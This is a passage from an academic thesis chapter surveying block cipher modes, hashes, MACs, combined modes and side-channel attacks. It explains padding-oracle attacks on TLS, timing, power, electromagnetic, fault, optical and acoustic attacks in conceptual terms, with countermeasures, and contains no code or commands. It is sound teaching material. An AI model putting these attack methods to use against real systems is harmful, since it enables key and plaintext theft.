In a similar fashion to the bit flipping attack above, a random error resulting in bit flips in a ciphertext block $C_i$ in specific positions will cause bit flips in the plaintext block $P_{i+1}$ while randomising $P_i$ upon decryption. An error (or intentional modification) in a plaintext bit before encryption, however, causes a cascade of random changes from the corresponding ciphertext block to the last ciphertext block. This, incidentally, makes CBC mode unsuitable for applications that require frequent plaintext updates, such as disk encryption, as even a small change in the plaintext would trigger a large number of encryption operations to maintain consistency.

2.3.2.5 Performance

CBC mode requires one XOR and one encryption operation to produce a ciphertext block, and similarly for decryption. As XOR is usually a trivial operation, the additional computational overhead of CBC mode comparing to ECB mode is therefore negligible. The addition of the IV, if transmitted with the ciphertext, causes message expansion of one block per chain of cipher blocks. The exact relative amount of the expansion will depend on the length of the cipher block chain.

Encryption in CBC mode is sequential (each ciphertext block depends on preceding plaintext blocks) and therefore cannot be parallelised using multiple processors. However, a technique that uses multiple IVs can be employed to enable parallel processing of cipher block chains of interleaved plaintext blocks. Recovering a plaintext block, on the other hand, requires only the corresponding and the immediately preceding ciphertext block. This means decrypting ciphertext blocks in CBC mode can be effectively parallelised.

2.3.3 Other modes

Cipher Feedback (CFB) and Output Feedback (OFB) modes make up the remaining two of the four basic modes of operation in FIPS 81 [151]. In the standard, both modes construct a stream cipher out of the DES block cipher, but they are also applicable to a general $n$-bit block cipher. Using a block cipher, OFB mode generates a synchronous key stream, while CFB mode implements a self-synchronising stream cipher.
2.4 Integrity Protection and Authentication

In CFB and OFB modes as per FIPS 81, a parameter $b$ is chosen from the range $1, 2, \ldots, n$ where $n$ is the block size in bits (64 for DES in the standard) and the plaintext is divided into $b$-bit units. A keystream is generated in units of $b$ bits at a time, and is XORed with the plaintext/ciphertext during encryption/decryption.

In CFB mode, keystream bits are taken from the leftmost $b$ bits of successive block cipher outputs, and XORed with the plaintext $b$ bits at a time to produce the ciphertext. The initial input to the block cipher is an $L$-bit IV left-padded with zeroes, and subsequent inputs are obtained by left-shifting the previous input by $b$ positions (discarding the overflowing bits), and then concatenating the previous $b$ bits of ciphertext ($b$ bits of key XORed with plaintext).

OFB mode operates in a similar fashion to CFB, in that the keystream is produced by an iterative encryption process. The difference lies in the input to the consecutive encryptions: instead of inserting the previous ciphertext unit into the left-shifted input from the last iteration, CFB simply uses the leftmost $b$ bits of the previous block cipher output.

NIST updated their recommendation for modes of operations in 2001 in document SP800-38A [74]. The most notable change is the inclusion of the Counter (CTR) mode. CTR mode implements a stream cipher using a block cipher where the keystream is derived from successive outputs of the encryption operation applied to an incrementing counter. Like OFB mode, CTR mode transforms a block cipher into a synchronous stream cipher.

2.4 Integrity Protection and Authentication

A strong encryption algorithm protects confidentiality of data, i.e. encrypted traffic cannot feasibly be deciphered by an eavesdropper without the decryption key. However, the encryption algorithm on its own does not provide any assurance about the authenticity of the data. But before we go any further, we must define what we mean by message authentication. The Oxford English Dictionary (online edition) defines the act of authenticating as to establish the genuineness of' and to certify the authorship of something. In the context of information security, the meaning of data authentication follows the dictionary definition above in a more precise way. The concepts of genuineness and authorship of data translates to message integrity and data origin authenticity, defined as:

**Message integrity**: The assurance that the message has not been modified in transit,

**Data origin authentication**: The guarantee that the message is sent by a particular person or entity.

We also mention here the subject of authorisation which is a concept distinct from authentication, but the two are often conflated into a single process. A sender of an authenticated request or command message may be subject to an authorisation process,

---

5 Called $K$ in FIPS 81, but renamed here to avoid confusion.
which is concerned with deciding whether or not the sender has clearance to carry out
the request. In many systems, however, authentication and authorisation are not properly
distinguished: all authenticated users have the same level of clearance or access.

In practice, data origin authentication implies message integrity. If a message is mod-
ified by an adversary in transit, then it can be equivalently considered to have originated
from the adversary. Conversely, common integrity protection mechanisms involve gener-
atting a bit pattern that is dependent on the message and a secret key known to the sender
and recipient only. Verification of the correctness of the computed value proves knowledge
of the key on the part of the entity who generated that value, and hence the origin of the
message. Note that encryption alone does not generally provide authentication guarantees.

It is generally accepted that encryption should be accompanied with integrity protec-
tion [120, 44]. One of the themes in this thesis is to demonstrate how confidentiality can
be severely compromised when no integrity protection is used alongside encryption.

2.4.1 Hash Functions

A hash function \( h \) maps arbitrary input strings \( x \) onto output hashes \( h(x) \) of a fixed size. A one-way hash function (sometimes called a message digest function) \( h \) is a hash function
for which given a hash \( y \), it should be infeasible to compute \( x \) such that \( h(x) = y \). This
property is known as preimage resistance. In addition, given an input \( x \), it should be
infeasible to find \( x' \) such that \( h(x) = h(x') \). This is known as second pre-image resistance.

Given these properties, one-way hash functions are used as building blocks for Message
Authentication Code algorithms (see below) which protect against data manipulation by
active attackers.

Although not always an essential practical concern, collision resistance is another
desirable property for a hash function, \( h \). This means that it should be computationally
infeasible to find any pair of inputs \( x \) and \( x' \) such that \( h(x) = h(x') \), a collision.

The most widely used cryptographic hash functions that are designed to be one-way
and collision resistant are SHA-1 (160-bit) [153] and MD5 (128-bit) [174], and to a lesser
extent RIPEMD-160 (160-bit) and its variants [73]. It is worth noting that recent results
have exposed weaknesses in collision resistance in both MD5 and SHA-1. Collision attacks
against MD5 are quite practical [192], while similar attacks on SHA-1 [195, 194] require
significantly less effort than the demands of the algorithm’s designed strength. The SHA-1
standard was updated in 2002 by [156] to include the SHA-256, SHA-384 and SHA-512
algorithms with their indicated increased bit lengths.

2.4.2 Message Authentication Codes

Message Authentication Codes (MACs) can be thought of as key-dependent one-way hash
functions, and some MAC algorithms are, indeed, constructed from one-way hash func-
tions. A MAC algorithm \( h \) takes as input a message \( x \) and a key \( K \), and outputs \( h_K(x) \),
2.5 Attacks

an $n$-bit MAC value or, simply, MAC. The sender and recipient\(^6\) share a secret key with which MAC values for messages are computed and verified; without knowledge of $K$ it should infeasible for an adversary to calculate a valid MAC value $h_K(x)$ for new input $x$, even when given many message-MAC pairs $(x_i, h_K(x_i))$ for messages $x_i$ of his choice. Therefore, in addition to integrity protection, a MAC provides data origin authentication by means of implied knowledge of the shared, secret MAC key.

Most MAC algorithms are constructed either from block ciphers or cryptographic hash functions. CBC-MAC was an early MAC design based on a block cipher, specified for use with DES in FIPS PUB 113 [152]. Later improvements on CBC-MAC include OMAC and its NIST-recommended successor CMAC [75], and the patented PMAC algorithm [52]. UMAC [122] is another algorithm whose security rests on that of the underlying block cipher (AES by default) with claims of high efficiency.

The HMAC algorithm [121] constructs a MAC algorithm using any cryptographic collision-resistant hash function. It is claimed that the cryptographic strength of HMAC depends on the collision resistance properties of the underlying hash function.

2.5 Attacks

All hash functions have a theoretical upper limit against collision attacks. Much like exhaustive key search for a block cipher, hash functions are subject to birthday attacks. Analysis shows that for an $n$-bit hash function, computing $2^{n/2}$ hash outputs will produce a collision of a pair hashes with a probability of 0.63. For this reason, most cryptographic hash functions have output sizes of at least 128 bits to make brute force searches for collisions impractical.

Cryptanalytic attacks against hash functions can reduce their collision resistance even further. Collision attacks were discovered against cryptographic hash functions MD4, MD5, HAVAL-128 and RIPEMD, as well as a preimage attack against MD4 [192, 193]. More recently, SHA-1 has also been found to suffer from collision weaknesses [195, 194].

Given a number of message-MAC pairs, an exhaustive search in the keyspace can be conducted. Consider an $n$-bit MAC with a $t$-bit MAC key. If $t > n$, one expects $2^{t-n}$ keys will map a message to its corresponding MAC. This means a key search will require $2^t$ MAC operations to identify $2^{t-n}$ candidate keys. From these keys, the correct key can be identified using $t/n$ message-MAC pairs [140, Section 9.34]. To thwart key search attempts a MAC should use keys of sizes comparable to those for secure block ciphers, currently around a minimum of 80 bits.

Attempts to produce a valid MAC for an arbitrary message without knowledge of the MAC key are known as forgery attacks. Each attempt at such an attack should succeed with a probability of $2^{-n}$ against a secure $n$-bit MAC algorithm. An adversary would either guess the correct MAC given a message, or a message given a MAC. In order to

\(^6\)We characterise the use of hashes and MACs by a pair of communicating entities, but this need not be the case in general. For example, hashes can be calculated on binary files to be verified by the same user at a later date to verify file system integrity.
mount forgery attacks, the adversary would need to verify his guesses, e.g. with a black box which returns “correct” or “incorrect” given a forged message-MAC pair. The security of a MAC is also based on the secrecy of the key. It is recommended in Section 9.3.5 of the Handbook of Applied Cryptography [140] that a MAC should have output size at least 64 bits and key size of 64 to 80 bits. One should bear in mind, however, that these figures, published in 1996, may need to be revised for the present day. The IPsec standards, which we shall discuss in greater detail later in this thesis, use 96-bit MACs by default.

## 2.6 Combined Modes of Operation

In recent years, as the importance of integrity-protected encryption has become more widely recognised, there has been increased research interest and development effort in block cipher modes of operations that protect data confidentiality and integrity simultaneously and more efficiently than sequential application of encryption and MAC algorithms.

Amongst the first of these authenticated encryption or **combined modes of operation** were the IACBC and IAPM schemes due to Jutla [102], and the XCBC and XECB schemes proposed by Gligor et al. [88]. The IAPM and XECB modes can be parallelised, which gives them potential performance advantages over chaining schemes such as CBC with a separate MAC.

The Offset Codebook (OCB) mode was proposed by Rogaway et al. in [175] to address some of the shortcomings in the earlier schemes especially in the handling of arbitrary-length data. Still the original OCB scheme (retrospectively designated as version 1.0) did not address the issue subsequently known as the Authenticated Encryption with Associated Data (AEAD) problem. Briefly, the AEAD problem concerns encrypting part of a message while authenticating the whole. This is a useful property for, for example, protecting Internet Protocol packets, whose packet header and payload can be integrity-protected while only the payload is encrypted. In an update to the OCB specification to version 2.0 [123], the authors retrofitted AEAD capabilities and simplified some calculations. OCB 2.0 requires one encryption operation per block of encrypted and integrity protected plaintext and one encryption operation per block of associated data. The authors claimed OCB 1.0 has a 6.5% overhead over (encryption-only) CBC and requires only 54% of the computational cost of the combination of CBC encryption and CBC-MAC integrity protection.

OCB was submitted and considered for inclusion in the IEEE wireless security standard 802.11i [98]. However due to a patent application on the scheme and licensing complications that might arise, alternative proposals were sought. In response, Whiting et al. developed the free-to-use CCM mode [197] which used counter mode for encryption and CBC-MAC for integrity protection. Despite CCM scheme’s relatively poor performance, which typically required twice as much effort over OCB mode, CCM was incorporated into 802.11i.\(^7\) The CCM mode has also been accepted as a NIST mode of operation.

\(^7\)Although Rogaway, the principal inventor of OCB, claims that the scheme remains as an optional
2.7 Side channel Attacks

<table>
<thead>
<tr>
<th>Mode</th>
<th>ISO/IEC</th>
<th>NIST</th>
<th>IETF</th>
</tr>
</thead>
<tbody>
<tr>
<td>EBC</td>
<td>10116-1 (3rd ed.)</td>
<td>SP 800-38A</td>
<td></td>
</tr>
<tr>
<td>CBC</td>
<td>10116-1 (3rd ed.)</td>
<td>SP 800-38A</td>
<td></td>
</tr>
<tr>
<td>CFB</td>
<td>10116-1 (3rd ed.)</td>
<td>SP 800-38A</td>
<td></td>
</tr>
<tr>
<td>OFB</td>
<td>10116-1 (3rd ed.)</td>
<td>SP 800-38A</td>
<td></td>
</tr>
<tr>
<td>CTR</td>
<td>10116-1 (3rd ed.)</td>
<td>SP 800-38A</td>
<td></td>
</tr>
</tbody>
</table>

Confidentiality modes

Combined modes

<table>
<thead>
<tr>
<th>Mode</th>
<th>ISO/IEC</th>
<th>NIST</th>
<th>IETF</th>
</tr>
</thead>
<tbody>
<tr>
<td>CCM</td>
<td>-</td>
<td>SP 800-38C</td>
<td>RFC 3610</td>
</tr>
<tr>
<td>GCM</td>
<td>-</td>
<td>SP 800-38D</td>
<td></td>
</tr>
</tbody>
</table>

Table 2.1: Modes of operation standards

recommendation in publication SP800-38C [76].

Rogaway et al. published a critique of CCM mode [176] focusing on drawbacks due to performance, parameterisation and complexity. Rogaway then co-developed a new two-pass authenticated encryption mode known as EAX [47] which aimed to address CCM’s shortcomings. EAX was placed in the public domain by its inventors and was submitted to NIST in an effort to replace CCM mode as the institute’s recommendation for an authenticated encryption mode.

We describe two further combined modes for completeness. The Galois/Counter Mode (GCM) [139] was proposed by McGrew et al., and uses CTR mode encryption and multiplications in a Galois field for authentication. GCM mode is highly parallelisable and is readily efficiently implemented in both software and hardware. This mode has been selected by NIST as a recommendation in SP800-38D [77]. Meanwhile, the CWC (Carter-Wegman with counter) mode [118] was developed by Kohno et al. CWC mode similarly uses CTR mode for encryption, while a method due to Wegman and Carter [196] involving multiplications modulo a prime number provides integrity protection.

Table 2.1 summarises the modes of operations we have covered that have been standardised. Where available, the most recent specification from each institution is given for each mode of operation.

2.7 Side channel Attacks

While conventional cryptanalysis focuses on mathematical properties of cryptographic algorithms or protocols, side channel cryptanalysis aims to exploit weaknesses in their algorithm in 802.11i, no references to OCB were made in the standard [98]. See http://www.cs.ucdavis.edu/~rogaway/ocb/ocb-faq.htm.

*aStrictly speaking, RFC 3610 is an informational but not a standards track RFC and therefore is not an IETF standard.
implementations. A side channel is a means by which information pertaining to some secret is unintentionally disseminated. An adversary who learns the leaked information may then use it to infer information about the plaintext, secret key or other cryptographically sensitive information.

Although side channel is a relatively recently coined term (circa 1998), the concept it embodies has been in use for many years. Examples were recounted by Peter Wright in his memoir Spy Catcher [199]. Wright described two operations undertaken by the British Secret Service (MI5). In ENGULF operations, bugs were planted near the Hagelin cipher machines in the Egyptian embassy in London during the Suez Crisis. The intercepted noise generated by the use of the machines helped the British determine their settings which in turn helped to break the coded transmissions. In operation STOCKADE, radio frequency taps were placed outside the French embassy in London to monitor electromagnetic signals emanating from their cipher equipment. The British were able to discern plaintext signals input to the cipher machines before encipherment, obviating the need for any further codebreaking.

The adversarial model for side channel attacks differs from that for traditional attacks. Often physical access to enciphering equipment is needed. For example, Wright himself had to pose as a telecommunications engineer in order to plant bugging instruments in the embassies. On the other hand, attacks based on observation of error messages or timing of events on a network can often be conducted remotely.

Side channel attacks are of practical concern. A successful attack, say for recovery of a cryptographic key, often involves little to moderate amount of effort and sometimes specialised equipment. The ease with which a side channel attack can be completed is usually independent of the cryptographic strengths of the underlying algorithms. It is often the case that a successful attack is many orders of magnitude faster than a comparable traditional cryptanalytic attack. Given the necessary access, it is reasonable to assume the rational attacker will take advantage of side channel information as the easiest avenue of attack.

In Wright’s examples above, we have seen acoustic dissipation and electromagnetic radiation as two sources of side channels. In the literature, other sources of side channel based attacks include error messages, timing of operations or events, and power consumption levels. More recently there have been published attacks taking advantage of computer architectural features. We present below a survey of side channel attacks in the literature.

### 2.7.1 Error Messages

Side channels due to error messages are of particular relevance to later chapters in this thesis, and will be given a more extensive treatment here than other sources of side channels. Error message side channels exist for both symmetric and asymmetric key cryptography, but our focus is on attacks on the symmetric case.

Cryptographic algorithms are rarely used in isolation to secure communications; rather, they are commonly used in a set of pre-specified steps of communications, or protocols, to
achieve a number of security goals such as key exchange and to provide communication confidentiality. Many popular security protocols are officially standardised, e.g. SSL/TLS [72] for the web, IPsec [112] for IP packets and 802.11i [98] for wireless networks. When an error is encountered during a protocol run, many protocols, quite reasonably, generate an error message. However, cryptography researchers have shown that some of these error messages can be exploited as a side channel to defeat the security goals of the protocol in question. For example, plaintext recovery may be possible.

Vaudenay [191] presented a side channel attack on CBC mode encryption using a padding oracle. We have seen how padding is used in CBC mode to ensure the length of plaintext to be encrypted is a multiple of the block size. In many standards, the padding has to follow a specified pattern in order to be unambiguously removed by the decrypting party. In the event of incorrectly padded messages, an error message may be transmitted. A padding oracle is an idealised abstraction of the portion of a protocol that conveys such padding correctness information.

When presented with a ciphertext, a padding oracle decrypts it with a fixed key and returns VALID or INVALID, indicating whether the plaintext contains a valid padding (according to the running protocol). Vaudenay observed that a padding oracle may indirectly reveal a portion of the plaintext corresponding to a given ciphertext. An active attacker who possesses intercepted ciphertexts can, based on oracle responses, adaptively submit modified versions of a ciphertext to recover the corresponding plaintext a segment (typically one byte) at a time. The bit-flipping attack on CBC mode encryption is useful here as it allows direct manipulation of certain plaintext bits. When the padding scheme RC5-CBC-Pad (as specified in RFC 2040 [38]) is used in the presence an ideal padding oracle, the effort to extract one plaintext byte is 128 padding oracle queries on average, which is usually highly efficient when compared to exhaustive key search.

Vaudenay focused on TLS as his target for padding oracle attacks. TLS 1.0 [72] appends a MAC calculated on the plaintext TLS record before padding and encrypting in CBC mode. Vaudenay analysed a padding scheme where when \( p \) bytes are padded, all the padding bytes carry the value \( p - 1 \). In other words, valid paddings are of the form 0, 11, 222, . . . and so forth.\(^9\) Upon decryption, padding is first examined. According to [72], if padding does not follow the prescribed format, TLS aborts the session and produces a decryption_failed alert. Otherwise, the padding is valid and TLS goes on to verify the MAC. If the MAC is incorrect, a bad_record_mac error message is generated. Vaudenay observed that by manipulating the padding bytes by bit-flipping techniques, he could construct a padding oracle based on TLS’s behaviour after decryption: generating a bad_record_mac error implies padding was correct, while an error of type decryption_failed indicates an error in the padding.\(^10\)

After examining the practicality of padding oracle attacks on TLS, Vaudenay concluded

\(^9\)The TLS padding scheme is in fact slightly different from the one described by Vaudenay – in the TLS scheme, valid paddings are of the form 1, 22, 333, . . . etc.

\(^10\)It was pointed out in [62] that the two TLS error responses were in fact encrypted and not easily distinguishable.
full block decryption using the padding oracle was unachievable due to TLS connections being destroyed upon padding check failure; fresh keys would have been negotiated on attempts to reconnect, precluding further successful oracle queries. This behaviour was termed a bomb oracle in [191]. In the case of TLS, the bomb oracle behaviour still allowed extraction of the rightmost plaintext byte in a block with a probability of $256^{-1}$. Vaudenay discussed the plausibility of attacks on other protocols including IPsec, SSH and WTLS. We shall present an extensive treatment of padding oracle attacks on IPsec in Chapter 5.

In response to the Vaudenay’s attacks, the OpenSSL TLS implementation [13] was updated (to version 0.9.6c) to eliminate generation of the `decryption_failed` alert, instead responding with uniform error messages in cases of incorrect padding or unverified MAC. The attacker now could no longer distinguish padding correctness by TLS error messages.

In a follow-up paper [62], Canvel et al. successfully implemented a padding oracle attack on OpenSSL, an implementation of TLS, which was able to recover plaintext in a few hours. The attack worked despite the “bomb oracle” nature of TLS and uniform error reporting. The attack target was IMAP, a popular protocol for electronic mail retrieval, running on a TLS connection. The hindrances to a complete attack posed by the bomb oracle effect was overcome by the assumption that an e-mail client automatically checks for new mail at regular and frequent intervals, say once every five minutes. Although each session with an IMAP server was encrypted under fresh, random keys, the underlying plaintext messages, which contained the user’s password, remained constant. An attacker could position himself as a man-in-the-middle and perform one padding oracle query for each intercepted session. The authors also overcame uniform error reporting by performing a timing analysis: if padding was invalid, the error alert was generated as soon as the padding check was performed. On the other hand, valid padding caused MAC verification to take place after the padding check. The error message resulting from MAC failure was only sent thereafter. The experiments conducted by the authors showed that, on a local area network, performing MAC operations caused a statistically significant delay in the distribution of time of receipt of TLS error messages. This enabled them to probabilistically distinguish valid and invalid padding using statistical tests, and through this, decrypt the fixed plaintext block containing the user’s password.

In the light of this new attack, the OpenSSL code was patched to perform MAC computation regardless of the result of the padding check (as releases 0.9.6i and 0.9.7a). This fix aimed to minimise timing differences due to the post-decryption checks.

Other padding schemes were investigated by Black and Urtubia in [53]. In Chapter 3 we shall examine the security of padding schemes recommended for use by some ISO standards against padding oracle attacks. We revisit the same padding schemes in Chapter 4 under secret and random IV assumptions.

The theoretical foundations laid down by Vaudenay and the subsequent practical experiments undertaken by Canvel et al. demonstrate the security impact of information being unintentionally exposed by error messages. We also note the differences between theoretical and practical attacks in terms of tactics (use of timing channel), procedure
(intercepting multiple sessions) and efficiency (session frequency dependent). Theoretical analysis often makes use of mathematical models that a researcher can manageably manipulate, which necessitates assumptions that may be too simplistic or contrary to practice. This is one of the sources that gives rise to the gulf between theoretical and practical security, an overarching theme of this thesis.

Padding oracle attacks have also been discovered on asymmetric key cryptography. Padding oracle attacks against PKCS#1 (version 1.5), a de facto public key encryption standard for the RSA algorithm, were presented by Bleichenbacher in [54]. Using a padding oracle, RSA encrypted plaintext can be recovered using an adaptive chosen ciphertext attack. For a 1024-bit RSA modulus, the attack requires about one million oracle queries. Version 2.0 of PKCS#1 saw the introduction of the Optimal Asymmetric Encryption Padding (OAEP) encoding and padding scheme proposed by Bellare and Rogaway [45] as part of RSA encryption. Despite a security proof by Fujisaki et al. [85] in the random oracle model, the RSAES-OAEP (RSA Encryption Scheme with OAEP) scheme was shown to be insecure under padding oracle assumptions by Manger in [133]. For an RSA encrypted ciphertext with an \( n \)-bit RSA modulus, Manger’s attack was able to recover the plaintext with a little over \( 2^n \) oracle queries. Klíma and Rosa [115] published further attacks on RSAES-OAEP as specified in PKCS#1 v2.1, and described an RSA signature forgery attack based on an EME-OAEP (an encoding standard) oracle.

An effective countermeasure against padding oracle attacks or, more generally, format correctness attacks is to use integrity protection alongside encryption. Use of integrity protection must be done with care, though, as we have seen in the case of TLS above, where the MAC-then-encrypt method may offer little protection against padding oracle attacks if not carefully implemented. In general, encrypt-then-MAC is a safer construction against this type of attack [120].

More generally, protocol developers should be mindful of what kind of information error messages reveal. While verbose error reporting might aid problem diagnosis, it might also inadvertently divulge valuable information to an attacker. Issues to consider for error messages should include their specificity to the plaintext message, whether or not to encrypt them, and the sensitivity of their timing and lengths which might be observable.

### 2.7.2 Timing

While, to a human, mathematical operations appear to complete instantaneously when performed on a modern micro-processor, a function will always take time to run, however infinitesimal that may be.

Cryptographic algorithms often involve computations whose run-times are dependent on the inputs. Exploiting this observation against a naïve cryptographic implementation, an adversary with enough knowledge of the implementation, requisite physical access to a processor and timing capability may be able to extract private information by measuring timing of cryptographic operations.

The use of timing variations as a side channel was first publicly proposed by Kocher
In his paper, Kocher targeted implementations of the modular exponentiation function in cryptographic algorithms where exponents are secret such as in RSA decryption, or the Diffie-Hellman algorithm when the exponents are fixed. By carefully measuring timing variations that an exponentiation algorithm took to complete, an attacker could mount a chosen ciphertext attack to extract the exponent bit by bit. The complexity of this attack depended on the accuracy of timing measurement and factors that caused random variations in processing times.

Dhem et al. in [71] proposed several improvements on Kocher’s attack and developed practical attacks on a version of the CASCADE smart card, while Brumley and Boneh [61] demonstrated the practicality of remote timing attacks. Using a modified version of Kocher’s attack, Brumley and Boneh were able to extract a 1024-bit RSA private key in about two hours from a server running a version of the OpenSSL cryptographic library.

Timing attacks can also work at a higher level. In [186], Song et al. analysed the Secure Shell (SSH) protocol and found that a significant amount of sensitive information was leaked in a typical interactive session despite the use of strong cryptography. Their analyses showed that the SSH protocol did not adequately conceal the length of the plaintext data, and the timing information of individual keystrokes was easily obtainable by an eavesdropper. The lengths and transmission directions of the ciphertexts allows an attacker to identify potential encrypted user password entry by comparing to traffic signatures, and the inter-keystroke timing information helped reduce required password guesses significantly, down to on average 1/50 of the number of guesses required in a brute force attack in one experiment.

Sometimes timing acts as a secondary side channel that is responsible for leaking information from the primary cause. One such example we have seen is the password recovery attack using a TLS padding oracle above. Here the information an adversary sought to obtain was that of the padding correctness, but this information was leaked indirectly through timing variations. In some side channel attacks based on computer architectural designs, timing information is often exploited as a secondary side channel. Examples include the cache timing covert channel [165] and attacks on AES [49, 165, 148], as well as the recently discovered Simple Branch Prediction Analysis (SBPA) attack on RSA [33], which claimed to be able to extract most key bits after observing a single RSA signing operation.

Generally, most timing attacks can be prevented by making the execution time of operations independent of sensitive data, although each solution is domain-specific. In the case of RSA, for example, Kocher suggested using a random blinding factor to create timing variations in the exponentiation process, which, however, incurs a performance penalty of an estimated 2–10%.

To prevent SSH timing attacks, Song et al. recommended generation of dummy traffic at a constant rate while the link is active. This creates a trade-off between the desired level of security and increased latency for the user.

11The authors of [33] also claim that SBPA attacks can overcome even blinding and branch balancing countermeasures.
2.7 Side channel Attacks

cache timing covert channel of [165] can be eliminated by disabling the “hyper-threading” feature of the processor or (less practically) changing the cache eviction strategy in the processor. On the other hand, preventing Bernstein’s cache timing attacks on AES [49] would require using special programming techniques, some of which are processor specific, on the part of AES implementors.

2.7.3 Power Analysis

Electronic devices or components that perform cryptographic operations consume, by definition, electrical power when they are in use. The level of power such a device consumes over a period of time may depend on the data and the type of operation it is performing over the period. Cryptographically sensitive data, such as keys, may therefore be leaked to an adversary who is able to monitor the device’s power consumption levels during operations on such sensitive data. This poses serious security risks especially in devices such as smart cards and television set-top boxes, to which a typical attacker is likely to have uncontrolled physical access.

Research on power analysis was first published by Kocher et al. in [116]. This paper introduced Simple Power Analysis (SPA) and its more sophisticated variant Differential Power Analysis (DPA). The power analysis techniques involved the use of high resolution and accurate electronic measuring equipment, such as a digital oscilloscope, which captures variations in voltages and currents over the period of operation of a cryptographic device.

In SPA, the current-time graph or trace produced after measurement might display peaks and troughs that corresponded to intermediate steps within the execution of a cryptographic algorithm, such as rounds of computation in DES encryption. Equipped with a high-resolution trace and detailed knowledge of the algorithm implementation, an attacker could discern the path of execution after a data-dependent conditional statement (e.g. an if statement), which allows the attacker to deduce the operand that was being evaluated at that statement.

Some devices might exhibit power consumption characteristics that were not pronounced enough for a successful SPA attack due to noise and measurement errors. Such devices might nevertheless display smaller power variations. DPA overcomes the limitation of SPA by making multiple measurements of an operation. The authors of [116] described a DPA attack on DES. Briefly, an attacker first collects a number of encryption traces and ciphertexts computed under the same key on different plaintexts. He then uses the ciphertext and traces to search for the correct 48-bit permuted subkey (of the whole 56-bit unpermuted key) in the last round (of 16) of the DES subroutine in 6-bit segments at a time by producing a series of differential traces, one for each guess for the subkey. A correct guess is indicated by the presence of spikes in a differential trace. The remaining 8 bits can be obtained by brute-force trials. DPA attacks are powerful and effective. In one variation of the attack, the authors were able to recover a DES key using as few as 15

\footnote{Although it has been suggested that power analysis techniques were already known by the intelligence community before Kocher’s publication. See [27].}
encryption traces.

Research papers have also been published on DPA attacks on other algorithms including RSA implementations in both modular exponentiation [188] and Chinese Remainder Theorem [70] flavours, elliptic curve algorithms [66] and AES [89, 159]. The number of publications demonstrates that power analysis attacks, and side channel attacks in general, although powerful, are also highly specific to particular algorithms and implementations.

To prevent SPA attacks, conditional branches on private data should be avoided, and branch balancing should be performed as much as possible. It is also recommended to base an implementation on low-power electronics which lessens the significance of execution characteristics. The same techniques can also help increase the complexity of a DPA attack to some extent, but it is harder to prevent DPA attacks completely. Further approaches to protect against DPA attacks include obfuscation methods that randomise execution order and timing, as well as using protocols with frequent, non-linear updates of secret data such as keys and exponents in public key schemes.

2.7.4 Electromagnetic Emanation Analysis

Operation of all electronic and electrical equipment involves, by definition, the flow of electrons through their circuits. This flow of electrons, charged subatomic particles, generates electromagnetic (EM) radiation. An adversary who intercepts such EM radiation may be able to infer private information about the operation of the source device in a manner similar to that of power analysis. Declassified documents published by the NSA, including the document NACSIM 5000 [147], have revealed that U.S. government agencies and military have, since the 1950s, already been aware of issues of signal leakage through EM radiation. Their studies, investigations and techniques are collectively known as the codename TEMPEST.\(^{13}\)

Electromagnetic Analysis (EMA) shares a lot of common features with SPA and DPA attacks. This gives rise to the analogous Simple Electromagnetic Analysis (SEMA) and Differential Electromagnetic Analysis (DEMA) techniques. Cryptographic processors such as smart cards are suitable targets for EMA attacks [170, 86].

The main distinction of EM signals from electrical power levels is that EM signals, by their nature, can be observed at a distance from the source, whereas SPA or DPA attacks cannot be performed without physical access to the target. This opens up possibilities for surreptitious remote surveillance, an example of which is the British MI5’s operation STOCKADE mentioned earlier in this chapter. In 1985, van Eck brought to the public the methods of EM radiation interception from video displays through his paper [190] and a demonstration on the British Broadcasting Corporation’s (BBC’s) “Tomorrow’s World” television programme. This motivated the research carried out by Kuhn, who provided an extensive treatment on methods (EM and optical based) to eavesdrop on computer

\(^{13}\)In fact the scope of TEMPEST’s compromising emanations (CE) sources include electrical power, acoustic waves and an intriguingly redacted source in addition to EM radiation, although EM emanations remained TEMPEST’s primary concern.
displays in his Ph.D. thesis [124]. Meanwhile, the BBC claims to have a fleet of vans that can remotely detect the use of television equipment\textsuperscript{14} to help enforce the British TV licensing laws. Other potential targets for EMA attacks (if not already practised) might include computer peripherals including the keyboard and mouse, personal digital assistants (PDAs), mobile telephones, computer network equipment and cables, automatic teller machines (ATMs), point-of-sale (PoS) systems and so forth.

The obvious approach to thwart any EMA attacks is to eliminate or minimise the amount of EM emanation from a device. This can be achieved by a combination of circuit design and physical shielding, which aim to reduce EM signals to a level comfortably shielded by noise in the device’s operating environment. Many of the methods used to protect against SPA and DPA attacks are also applicable to prevent SEMA and DEMA attacks on digital devices, by limiting the amount of useful information that any leaked signals may carry. Kuhn \textit{et al.} described in [125] how EM signals emitted by computer displays might be controlled by software. These so-called “Soft Tempest” techniques allowed an attacker to create an EM covert channel by injecting malicious code, and enabled a defender to use specially designed fonts that minimise levels of signals generated to guard against TEMPEST attacks.

\textbf{2.7.4.1 Fault Analysis}

While hardware devices are primarily designed to fulfil a set of functions, a secure cryptographic device will be required to withstand attacks in the presence of malicious attackers. In [55], Boneh \textit{et al.} presented a model of cryptographic implementation that was subject to random faults. They discovered that in that model a small number of errors would allow an attacker to extract complete private keys from several public key schemes. In general, an attacker who is able to induce faults in the hardware circuit may, upon further analysis, be able to learn secrets that are otherwise unavailable. Similar research on symmetric key cryptography (Differential Fault Analysis) was published by Biham \textit{et al.} [50] and practical attacks based on optically-induced faults was reported by Skorobogatov \textit{et al.} [185].

\textbf{2.7.4.2 Optical Attacks}

In addition to EMA attacks on computer displays, Kuhn’s thesis [124] also contained a report on successful experiments on using visible light emitted by Cathode Ray Tube (CRT) displays as a side channel, even after diffuse reflection. With this attack, a remote adversary could reconstruct the image on the target display without a direct line of sight. Meanwhile, Loughry \textit{et al.} in [127] have found correlation between Light Emitting Diode (LED) status indicators on network equipment and the data being processed, and shown that data interception attacks based on the optical signals are realistic and practicable.

\textsuperscript{14}See, for example, \url{http://www.tvlicensing.co.uk/information/detectionandpenalties.jsp}. 
2.7 Side channel Attacks

2.7.4.3 Acoustic Cryptanalysis

An early example of the acoustic attack was the ENGULF operation mentioned above. More recently, Shamir et al. published some preliminary results [184] on correlation of sounds generated by processors and their current operations. There seemed to be distinguishable acoustic characteristics between an idle and a busy processor. Asonov et al. [35] trained a neural network to distinguish pressed keys based on recorded typing sounds. Zhuang et al. [203] improved on the keyboard acoustic attack by eliminating the need for labelled training (which may be unrealistic in a real attack), although their statistical analysis was specific to the English language.

2.7.4.4 Traffic Analysis

